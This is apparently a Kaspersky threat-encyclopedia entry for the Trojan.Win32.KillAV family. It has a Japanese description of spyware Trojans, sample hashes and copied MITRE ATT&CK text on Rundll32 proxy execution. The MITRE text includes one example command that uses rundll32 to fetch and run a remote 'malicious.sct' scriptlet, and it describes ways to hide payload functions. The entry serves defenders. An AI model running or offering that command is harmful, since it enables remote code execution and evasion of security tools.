Kaspersky Threats — Trojan.Win32.KillAV.crn

クラス: Trojan

ユーザーの活動を電子的に偵察する（キーボード入力の傍受、スクリーンショットの取得、アクティブなアプリケーションのリストの取得など）ために設計された悪質なプログラム。収集された情報は、電子メール、FTP、およびHTTP（リクエストでデータを送信すること）を含むさまざまな手段によってサイバー犯罪者に送信されます。

プラットフォーム: Win32

Win32は、32ビットアプリケーションの実行をサポートするWindows NTベースのオペレーティングシステム（Windows XP、Windows 7など）上のAPIです。世界で最も広く普及しているプログラミングプラットフォームの1つです。

ファミリー: Trojan.Win32.KillAV

No family description

Examples

38161FD2338235273F5A0C9BB48EE529
F805CA264004FFE42012170E625DC316
F410A9F9FFABC1F0CC58D999FB4A1EB2
F385EE91A461F27E6E1253616ACA1686
F8E7184F8366F7485BDFED96E687CF10

Tactics and Techniques: Mitre*

TA0005

Defense Evasion

The adversary is trying to avoid being detected.

Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.

T1218.011

System Binary Proxy Execution: Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"

This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)